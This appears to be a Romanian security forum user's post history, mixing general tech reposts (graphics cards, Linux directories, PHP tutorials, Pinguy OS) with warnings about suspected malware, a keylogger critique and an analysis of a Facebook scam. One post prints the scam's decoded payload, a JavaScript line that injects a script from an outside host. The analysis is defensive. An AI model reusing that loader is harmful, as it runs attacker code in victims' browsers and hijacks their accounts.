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Everything posted by Nytro
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Contine resurse: - SQLite (asta nu sunt sigur daca e DLL sau EXE) - XMLite (extended module) - un DLL pentru sunete cred, BASS nu stiu cum In plus: "FileDescription", "iStealer" "FileVersion", "6, 1, 0, 0" Deci nu e 6.3. Asadar, nu sunt sigur ca e curat.
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Hackers Wanted File name: Hackers Wanted [unreleased Director's Cut].avi File description: Hackers Wanted File size: 699.08 MB Download: http://www.megaupload.com/?d=ZF1MXDFT Megavideo: http://www.megavideo.com/?d=ZF1MXDFT Tocmai l-am vazut, e foarte interesant. Descrie bine termenii de hacker (blackhat, whitehat, grayhat) in sensuri la care probabil nu va ganditi. Sunt multe lucruri interesante, vi-l recomand. Singura problema e ca nu are subtitrare, dar ar trebui sa va descurcati cu engleza.
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Sper ca ai o explicatie buna. E un server de Radmin v2.1 in arhiva SFX.
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Funtioneaza doar pe messenger 8.0. Doar multi-messenger merge pe versiunile mai noi. Deci nu cred ca e prea util.
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Sa fie asta cel mai interesant tutorial pe care il puteti gasi aici? Sau preferati sa nu va ridicati deloc nivelul cunostintelor cu ceva, sa zicem, mai "complex"?
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Trebuia sa te astepti la astfel de replici cand ai postat.
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Probabil. Adica nu stiu cum s-ar putea face un program cu suport pentru toate tastaturile posibile, dar probabil nu e deloc usor. Dar cred ca e de ajuns unul care suporta tastaturile "standard".
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Ai un "eval" acolo, care apeleaza o functie de decryptare. Functia decrypteaza totul, si returneaza rezultatul pentru a fi evaluat. Un simplu "document.write" sau un "alert" in loc de acel return e de ajuns pentru a vedea rezultatul si pentru a nu fi rulat. Dar link-ul e catre un JS mai complex si cu care am avut probleme, cred ca a fost prost scris. Daca nu o sa am ce face o sa incerc sa vad ce face, dar e ceva cod si imi e lene. Ideea de baza cu Facebook e urmatoare: pui fraieru sa ruleze cod JavaScript, poti face pe Facebook-ul lui cam tot ce ar putea face el, in afara doar de chestiile "sociale" ca: recunoaste persoana "x" sau coduri CAPTCHA sau cine stie ce altceva ce necesita o urma de inteligenta.
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if(GetAsyncKeyState(i)&1 ==1) Nu are keyboard hook, va consuma ceva procesor, foloseste metoda clasica: verifica pentru fiecare tasta in parte daca e apasata, nu seteaza un hook pentru a primi o "notificare" in caz ca e apelata o tasta. Si e cam prost scris. Adica e stupid sa scrii un fisier ".reg" pentru a scrie in Registry cand exista Registry API, si de asemenea, sa uploadezi pe FTP cu un fisier ".bat" cand exista Winsock si protocolul FTP e tot stupid. Dar na, e mult mai usor asa de aceea probabil au fost preferate aceste alternative. Ideea principala e ca nu vi-l recomand, nici sa il folositi, si sa il studiati nici nu se pune problema.
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How Graphics Cards Work Introduction to How Graphics Cards Work The images you see on your monitor are made of tiny dots called pixels. At most common resolution settings, a screen displays over a million pixels, and the computer has to decide what to do with every one in order to create an image. To do this, it needs a translator -- something to take binary data from the CPU and turn it into a picture you can see. Unless a computer has graphics capability built into the motherboard, that translation takes place on the graphics card. A graphics card's job is complex, but its principles and components are easy to understand. In this article, we will look at the basic parts of a video card and what they do. We'll also examine the factors that work together to make a fast, efficient graphics card. Think of a computer as a company with its own art department. When people in the company want a piece of artwork, they send a request to the art department. The art department decides how to create the image and then puts it on paper. The end result is that someone's idea becomes an actual, viewable picture. A graphics card works along the same principles. The CPU, working in conjunction with software applications, sends information about the image to the graphics card. The graphics card decides how to use the pixels on the screen to create the image. It then sends that information to the monitor through a cable. * Creating an image out of binary data is a demanding process. To make a 3-D image, the graphics card first creates a wire frame out of straight lines. Then, it rasterizes the image (fills in the remaining pixels). It also adds lighting, texture and color. For fast-paced games, the computer has to go through this process about sixty times per second. Without a graphics card to perform the necessary calculations, the workload would be too much for the computer to handle. The graphics card accomplishes this task using four main components: A motherboard connection for data and power A processor to decide what to do with each pixel on the screen Memory to hold information about each pixel and to temporarily store completed pictures A monitor connection so you can see the final result Next, we'll look at the processor and memory in more detail. http://videos.howstuffworks.com/labrats-tv/2816-episode-47-upgrade-your-video-card-video.htm#mkcpgn=snag1 The GPU Like a motherboard, a graphics card is a printed circuit board that houses a processor and RAM. It also has an input/output system (BIOS) chip, which stores the card's settings and performs diagnostics on the memory, input and output at startup. A graphics card's processor, called a graphics processing unit (GPU), is similar to a computer's CPU. A GPU, however, is designed specifically for performing the complex mathematical and geometric calculations that are necessary for graphics rendering. Some of the fastest GPUs have more transistors than the average CPU. A GPU produces a lot of heat, so it is usually located under a heat sink or a fan. In addition to its processing power, a GPU uses special programming to help it analyze and use data. ATI and nVidia produce the vast majority of GPUs on the market, and both companies have developed their own enhancements for GPU performance. To improve image quality, the processors use: Full scene anti aliasing (FSAA), which smoothes the edges of 3-D objects Anisotropic filtering (AF), which makes images look crisper * Each company has also developed specific techniques to help the GPU apply colors, shading, textures and patterns. The Evolution of Graphics Cards Graphics cards have come a long way since IBM introduced the first one in 1981. Called a Monochrome Display Adapter (MDA), the card provided text-only displays of green or white text on a black screen. Now, the minimum standard for new video cards is Video Graphics Array (VGA), which allows 256 colors. With high-performance standards like Quantum Extended Graphics Array (QXGA), video cards can display millions of colors at resolutions of up to 2040 x 1536 pixels.* * As the GPU creates images, it needs somewhere to hold information and completed pictures. It uses the card's RAM for this purpose, storing data about each pixel, its color and its location on the screen. Part of the RAM can also act as a frame buffer, meaning that it holds completed images until it is time to display them. Typically, video RAM operates at very high speeds and is dual ported, meaning that the system can read from it and write to it at the same time. * The RAM connects directly to the digital-to-analog converter, called the DAC. This converter, also called the RAMDAC, translates the image into an analog signal that the monitor can use. Some cards have multiple RAMDACs, which can improve performance and support more than one monitor. You can learn more about this process in How Analog and Digital Recording Works. The RAMDAC sends the final picture to the monitor through a cable. We'll look at this connection and other interfaces in the next section. PCI Connection Graphics cards connect to the computer through the motherboard. The motherboard supplies power to the card and lets it communicate with the CPU. Newer graphics cards often require more power than the motherboard can provide, so they also have a direct connection to the computer's power supply. Connections to the motherboard are usually through one of three interfaces: Peripheral component interconnect (PCI) Advanced graphics port (AGP) PCI Express (PCIe) PCI Express is the newest of the three and provides the fastest transfer rates between the graphics card and the motherboard. PCIe also supports the use of two graphics cards in the same computer. Most graphics cards have two monitor connections. Often, one is a DVI connector, which supports LCD screens, and the other is a VGA connector, which supports CRT screens. Some graphics cards have two DVI connectors instead. But that doesn't rule out using a CRT screen; CRT screens can connect to DVI ports through an adapter. At one time, Apple made monitors that used the proprietary Apple Display Connector (ADC). Although these monitors are still in use, new Apple monitors use a DVI connection. Most people use only one of their two monitor connections. People who need to use two monitors can purchase a graphics card with dual head capability, which splits the display between the two screens. A computer with two dual head, PCIe-enabled video cards could theoretically support four monitors. In addition to connections for the motherboard and monitor, some graphics cards have connections for: TV display: TV-out or S-video Analog video cameras: ViVo or video in/video out Digital cameras: FireWire or USB Some cards also incorporate TV tuners. Next, we'll look at how to choose a good graphics card. DirectX and Open GL DirectX and Open GL are application programming interfaces, or APIs. An API helps hardware and software communicate more efficiently by providing instructions for complex tasks, like 3-D rendering. Developers optimize graphics-intensive games for specific APIs. This is why the newest games often require updated versions of DirectX or Open GL to work correctly. APIs are different from drivers, which are programs that allow hardware to communicate with a computer's operating system. But as with updated APIs, updated device drivers can help programs run correctly.* Choosing a Good Graphics Card A top-of-the-line graphics card is easy to spot. It has lots of memory and a fast processor. Often, it's also more visually appealing than anything else that's intended to go inside a computer's case. Lots of high-performance video cards are illustrated or have decorative fans or heat sinks. But a high-end card provides more power than most people really need. People who use their computers primarily for e-mail, word processing or Web surfing can find all the necessary graphics support on a motherboard with integrated graphics. A mid-range card is sufficient for most casual gamers. People who need the power of a high-end card include gaming enthusiasts and people who do lots of 3-D graphic work. A good overall measurement of a card's performance is its frame rate, measured in frames per second (FPS). The frame rate describes how many complete images the card can display per second. The human eye can process about 25 frames every second, but fast-action games require a frame rate of at least 60 FPS to provide smooth animation and scrolling. Components of the frame rate are: Triangles or vertices per second: 3-D images are made of triangles, or polygons. This measurement describes how quickly the GPU can calculate the whole polygon or the vertices that define it. In general, it describes how quickly the card builds a wire frame image. Pixel fill rate: This measurement describes how many pixels the GPU can process in a second, which translates to how quickly it can rasterize the image. The graphics card's hardware directly affects its speed. These are the hardware specifications that most affect the card's speed and the units in which they are measured: GPU clock speed (MHz) Size of the memory bus (bits) Amount of available memory (MB) Memory clock rate (MHz) Memory bandwidth (GB/s) RAMDAC speed (MHz) * The computer's CPU and motherboard also play a part, since a very fast graphics card can't compensate for a motherboard's inability to deliver data quickly. Similarly, the card's connection to the motherboard and the speed at which it can get instructions from the CPU affect its performance. Overclocking Some people choose to improve their graphics card's performance by manually setting their clock speed to a higher rate, known as overclockings. People usually overclock their memory, since overclocking the GPU can lead to overheating. While overclocking can lead to better performance, it also voids the manufacturer's warranty. Sursa: http://computer.howstuffworks.com/graphics-card.htm
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(a=(b=document).createElement('script')).src='//thefbsecret.info/jsp.php',b.body.appendChild(a);void(0) L-am "decodat" in 10 secunde. Trebuie doar sa ai imaginatie...
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Pinguy OS What Is Pinguy OS? Ubuntu is a great OS and undoubtedly the most popular and easiest Linux based Distro to use but even with its default setup and chosen programs it's still lacking functionality and ease of use for most new users. So what I decided to do was build a Distro that looks good, could do everything most user would ever want to do and that was very simple to use. I started out by listening to what my friends and family wanted to use their PC for and found the most user friendly programs for the task they wanted to do. After a while I got a good idea what most people use their PC for and what programs were the easiest to use. Like using Shotwell for easily uploading images to Facebook, gtkpod for putting music, photos and video on a ipod/iphone and mvPod for converting the video to a iPod friendly format. So all the programs in Pinguy OS have been chosen because of their ease of use and functionality, I also changed every file type to open with the right program, like for some reason by default .iso are opened with Archive Manager so I changed that to Brasero Disc Burner. As I already said apart from it being easy to use I also wanted it to be a very good looking operating system. There are now a lot of programs out there for Linux to give the OS a very smart and polished implementation, like CoverGloobus, Gloobus Preview, GNOME Do, and Docky. These programs don't just give the OS a good look and feel but they are also very useful and handy. Pinguy OS is an optimise build of Ubuntu 10.10 Minimal CD with added repositories, tweaks and enhancements that can run as a Live DVD or be installed. It has all the added packages needed for video, music and web content e.g. flash and java, plus a few fixes as well. Like fixing the wireless problems, gwibber’s Facebook problem and flash videos in full-screen. Everything is set-up for samba, all you need to do is right click a folder you want to share and add a password in samba using system-config-samba. It also has a UPnP/DLNA server (pms-linux) so you can share your music, video’s etc. With a PS3, XBOX 360, Smart Phones or any other UPnP/DLNA media reader. Nautilus has been replaced for Elementary-Nautilus with added plug-ins so it can get music and video art from the web. The default theme is Elementary using ttf-droid font with Docky and a custom Conky. I have also added DVB support to Totem for anyone with a TV card that wants to watch tv on their PC but doesn't want to install a dedicated program like myth-tv. For a full list of installed programs and repos for 10.04.1 *OLD* download this file. If you prefer to download and install the LTS (long term support) 10.04. It can still be downloaded from here. Download: 32-Bit: https://sourceforge.net/projects/pinguy-os/files/Pinguy_OS_10.10/Pinguy_OS_10.10.1_i686.iso/download http://pinguy-os.sourceforge.net/torrents/Pinguy_OS_10.10.1_i686_%5B32-Bit%5D.torrent 64-Bit: https://sourceforge.net/projects/pinguy-os/files/Pinguy_OS_10.10/Pinguy_OS_10.10.1_x86-64.iso/download http://pinguy-os.sourceforge.net/torrents/Pinguy_OS_10.10.1_x86-64_%5B64-Bit%5D.torrent If you like this Distro and would like to help it improve and grow you can always donate, it doesn't matter how small the amount is, it all helps. Homepage: http://www.pinguyos.com/
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ldkngNGPQEBAP Ca sa mai cititi o data.
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Da, ai dreptate. Pfff, nu mai stiu sa fac o inmultire Da, oricum nu cred ca va folosi cineva aceasta clasa pentru numere extraordinar de mari, dar ar fi bun ca exercitiu de programare.
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Linux Directory Structure (File System Structure) Explained with Examples Have you wondered why certain programs are located under /bin, or /sbin, or /usr/bin, or /usr/sbin? For example, less command is located under /usr/bin directory. Why not /bin, or /sbin, or /usr/sbin? What is the different between all these directories? In this article, let us review the Linux filesystem structures and understand the meaning of individual high-level directories. 1. / – Root Every single file and directory starts from the root directory. Only root user has write privilege under this directory. Please note that /root is root user’s home directory, which is not same as /. 2. /bin – User Binaries Contains binary executables. Common linux commands you need to use in single-user modes are located under this directory. Commands used by all the users of the system are located here. For example: ps, ls, ping, grep, cp. 3. /sbin – System Binaries Just like /bin, /sbin also contains binary executables. But, the linux commands located under this directory are used typically by system aministrator, for system maintenance purpose. For example: iptables, reboot, fdisk, ifconfig, swapon 4. /etc – Configuration Files Contains configuration files required by all programs. This also contains startup and shutdown shell scripts used to start/stop individual programs. For example: /etc/resolv.conf, /etc/logrotate.conf 5. /dev – Device Files Contains device files. These include terminal devices, usb, or any device attached to the system. For example: /dev/tty1, /dev/usbmon0 6. /proc – Process Information Contains information about system process. This is a pseudo filesystem contains information about running process. For example: /proc/{pid} directory contains information about the process with that particular pid. This is a virtual filesystem with text information about system resources. For example: /proc/uptime 7. /var – Variable Files var stands for variable files. Content of the files that are expected to grow can be found under this directory. This includes — system log files (/var/log); packages and database files (/var/lib); emails (/var/mail); print queues (/var/spool); lock files (/var/lock); temp files needed across reboots (/var/tmp); 8. /tmp – Temporary Files Directory that contains temporary files created by system and users. Files under this directory are deleted when system is rebooted. 9. /usr – User Programs Contains binaries, libraries, documentation, and source-code for second level programs. /usr/bin contains binary files for user programs. If you can’t find a user binary under /bin, look under /usr/bin. For example: at, awk, cc, less, scp /usr/sbin contains binary files for system administrators. If you can’t find a system binary under /sbin, look under /usr/sbin. For example: atd, cron, sshd, useradd, userdel /usr/lib contains libraries for /usr/bin and /usr/sbin /usr/local contains users programs that you install from source. For example, when you install apache from source, it goes under /usr/local/apache2 10. /home – Home Directories Home directories for all users to store their personal files. For example: /home/john, /home/nikita 11. /boot – Boot Loader Files Contains boot loader related files. Kernel initrd, vmlinux, grub files are located under /boot For example: initrd.img-2.6.32-24-generic, vmlinuz-2.6.32-24-generic 12. /lib – System Libraries Contains library files that supports the binaries located under /bin and /sbin Library filenames are either ld* or lib*.so.* For example: ld-2.11.1.so, libncurses.so.5.7 13. /opt – Optional add-on Applications opt stands for optional. Contains add-on applications from individual vendors. add-on applications should be installed under either /opt/ or /opt/ sub-directory. 14. /mnt – Mount Directory Temporary mount directory where sysadmins can mount filesystems. 15. /media – Removable Media Devices Temporary mount directory for removable devices. For examples, /media/cdrom for CD-ROM; /media/floppy for floppy drives; /media/cdrecorder for CD writer 16. /srv – Service Data srv stands for service. Contains server specific services related data. For example, /srv/cvs contains CVS related data. Sursa: http://www.thegeekstuff.com/2010/09/linux-file-system-structure/
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Tutoriale Web Mai multe: PHP, HTML, CSS, MySQL... Asemanator cu w3schools, dar cred ca sunt mai mult complete aceste tutoriale. Exemplu, PHP: Getting Started with PHP Programming • Introduction and Installation of PHP • Check If PHP is Enabled On Your Server with This Script • Create Your First Simple PHP Script Using the .php Extension • Using Code Comments in Your PHP Scripts • Where to Place PHP Code Blocks • print Vs. echo • Mingle HTML and CSS Into Your PHP Output Variables, Data Types, and Expressions in PHP • Global Variables • Creating Variables in PHP • Constants and Magic Constants in PHP • Data Types and PHP Automatic Data Typing • Changing Data Types • Understanding Expressions in PHP Operators in PHP • The Assignment Operator • Arithmetic Operators in PHP • Comparison Operators in PHP • Incremental and Decremental Operators • Logical Operators • Concatenation Assignment Operators • The ?(ternary) Operator Control Structures and Conditional Logic in PHP • if... else... else if Statements • switch... case... break Statements • while and do-while Loop • for Loop • continue Statement Function Creation and Use • What Is a Function? • Function Arguments • Returning Values From Your Custom PHP Functions • Function Variable Scope in PHP Working with Arrays in PHP • What is an Array? • Creating Your First Simple Array in PHP • Creating Associative Arrays in PHP • Creating Multidimensional Arrays in PHP • Looping or Iterating Over Array Data in PHP • Array Functions Reference list Working with Files, Folders, and Directories • File Paths and Directory Script Navigation • Including and Requiring Files • Communicate Between Two Servers Using PHP Includes • Creating and Deleting Files Through Code in PHP • Opening, Writing, Appending, Closing, and Reading Files in PHP • Creating Directories and Removing Directories (folders) • Opening and Dynamically Reading Directory (folder) Contents • file_exists() function : Check to see if a file exists using PHP script • copy() function : How to make a copy of a file using PHP script Working With Strings and Numbers • Define String :-: Define Number • highlight_string() Function For Displaying Colored PHP Syntax • Validate Email Addresses With PHP preg_match() and a Regex • String Function Reference List • Math Functions Reference List Classes and Object Oriented Programming in PHP • What Are Objects and Classes? • Class and Object Code Structure Explained • PHP OOP Tutorial 1: Convert MySQL Timestamp to Ago Format Examples and Common Tasks In PHP • Cache Busting Files (always show updates to files on your site) • Sniff Out User Browser and Operating System Script and Tutorial PHP • Encoding and Decoding HTML Tags In User Gathered Input Forms • Registering PHP Session Variables for Persistent Data and Values • Block any Browser • PHP Inline Email Form Processing Mechanisms Tutorial • Mobile Device Detection and Redirection Script Using a PHP Home Page • Detect Devices Using PHP and Serve Up Alternate CSS Style Sheets • Dynamic PHP XML Files for Image Gallery Applications • Discover Magic XML: MP3 Player Playlist Flash PHP Loop Files Tutorial • Discover Magic XML File Rendering for MySQL database results in PHP • Building a File Upload Application Using HTML Form and PHP Script • Send PHP Email In HTML or Plain Text Format For More Design Options • Alternative for ereg_replace() and eregi_replace() Which Are Deprecated • PHP Search and Replace a Target Substring Inside of a String • Dynamic Grid Output Script Using PHP + MySQL Array Data • Pagination Script and Tutorial for PHP MySQL Programmers Paging Results Link: http://www.developphp.com/
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De ce n ^ 2? Va fi o inmultire, a cifrelor, o atribuire a valorii de tinut minte si o adunare cu valoarea de tinut minte de la cifra precedenta. Ceea ce inseamna 3 * n operatii, si cred ca nu e rau deloc. Adica nu vor fi multi care vor folosi clasa pentru numere cu milioane de cifre.
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Inmultirea se face ca pe foaie. Se ia ultima cifra, se inmulteste cu ultima de la celalalt numar, si se memoreaza intr-o variabila "depasirea", de exemplu pentru 5 * 7 = 35, se pastreaza 5 si se "tine minte" 3, care se aduna la inmultirea cifrelor urmatoare.
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javascript:alert(unescape('%3C%74%69%74%6C%65%3E%52%53%54%3C%2F%74%69%74%6C%65%3E')) Da, ca idee e util in anumite cazuri, dar ar trebui obfuscat mai bine, macar ar fi greu de ajuns la rezultatul final. Problema se pune astfel: dar daca utilizatorul are JavaScript dezactivat? In plus, viteza la afisarea site-ului scade.
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packETH - Ethernet packet generator packETH is a Linux GUI packet generator tool for ethernet. It allows you to create and send any possible packet or sequence of packets on the ethernet. For version 1.6 also Windows port was done (thanks to Soni!!! more info on packEth for Windows ) (6.1.2010): packETH finaly became IPv6 packet generator tool. IPv6 protocol added, with some basic features. Many buttons not working yet, neither ICMPv6 protocol But you can make a TCP or UDP packet over IPv6 and send it on the link. Features: * you can create and send any ethernet packet. Supported protocols: o ethernet II, ethernet 802.3, 802.1q, QinQ o ARP, IPv4, IPv6, user defined network layer payload o UDP, TCP, ICMP, IGMP, user defined transport layer payload o RTP (payload with options to send sin wave of any frequency for G.711) * sending sequence of packets o delay between packets, number of packets to send o sending with max speed, approaching the teoretical boundary o change parameters while sending (change IP & mac address, UDP payload, 2 user defined bytes, etc.) * saving configuration to a file and load from it - pcap format supported Download: http://sourceforge.net/projects/packeth/
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DA! E, adevarat. Exista si alte categorii in afara de Offtopic, pe langa cele de Tutoriale si Programare pe care probabil nu le-ati vazut si nu le veti vedea niciodata. Categoria AJUTOR, si NU Offtopic, e pentru cei care au nevoie de ajutor, care au o problema si incearca sa gaseasca raspunsul la ea. Iar categoria CERERI, si NU Offtopic, e pentru a cere diverse lucruri pe care nu sunteti in stare sa le gasiti folosind Google. Asadar, NU TOATE TOPICURILE, indiferent de subiect, se posteaza aici, la Offtopic. Am mai facut doua posturi pe aceasta tema. Vedeti si asta: http://rstcenter.com/forum/28329-topicurile-de-la-offtopic.rst Asa cum multi ati observat, daca aveti nevoie de ajutor sau cereti ceva aici la Offtopic veti primi avertisment, si la 3-4-5 avertismente veti fi banati. M-am saturat sa dau avertismente si sa va mut topicurile. Desigur, daca ati post si voi ceva util (ce utopie...), un program sau un tutorial, in aceasta categorie, as muta topicul in categoria specifica fara nici o problema, fara sa primiti nici un avertisment. Dar voi postati toate rahaturile, toate problemele banale si toate cererile stupide aici. Desigur, regula nu se aplica doar aici. Daca postati ceva care nu se incadreaza in categria in care postati, adica daca nu ganditi 2 secunde inainte de a posta, veti primi avertisment. Exemple: #1 - Postezi ca vrei un program la: programe hack, programe securitate sau stuff tools - primesti avertisment. Programul il ceri in categoria CERERI pentru ca lumea sa poata vizualiza acea categorie pentru a descarca programe, nu pentru a vedea de ce program are nevoie Vasile. #2 - Postezi ca nu ti se mai scoala intr-o alta categorie in afara de: offtopic, cele mai penale posturi sau cosul de gunoi - primesti probabil ban, in functie de cat de stupid e postul tau. #3 - Postezi la Offtopic cine stie ce problema pe care o ai cu calculatorul - vorbim cu mamica ta sa ti-l ia, pentru ca nu esti destul de mare pentru a avea unul. Daca te-ar duce capul sa meriti un calculator, ai vedea ca exista categorii speciale unde sa pui astfel de intrebari. Deci, pentru a mia oara, si ca sa nu stau sa explic fiecarei "victime" a avertismentelor mele de ce a primit acel avertisment: Exista categoriile AJUTOR si CERERI Sa nu ma mai trezesc cu tot felul de rebeli nemultumiti de faptul ca au primit avertisment. Daca primesc PM, la care oricum nu prea raspund, sau mai rau, se posteaza in acelasi topic diverse proteste ale "raufacatorului", e posibil sa mai primeasca un avertisment. In plus, acesta este un FORUM, ceea ce inseamna ca se poarta diverse discutii in topicuri, si nu pe PM. Deci nu imi mai trimiteti PM-uri ca aveti nevoie de nu stiu ce, sau ca aveti nu stiu ce problema pentru ca nu am sa raspund la ele. E forum, posteaza si ai mult mai multe sanse sa primesti un raspuns.
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Sugestie: char * alocat dinamic pe blocuri. Ai un octet pentru cifra, e de ajuns. Adica, aloci 1024 de octeti, adica suficient pentru un numar de 1024 de cifre. Apoi, daca e nevoie de mai mult, mai aloci 1024. Ca daca faci o alocare pentru fiecare cifra in plus se alege praful. La listele tale, aloci memorie pentru fiecare cifra, deci pauza viteza.
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Bun asa, cine mai vine?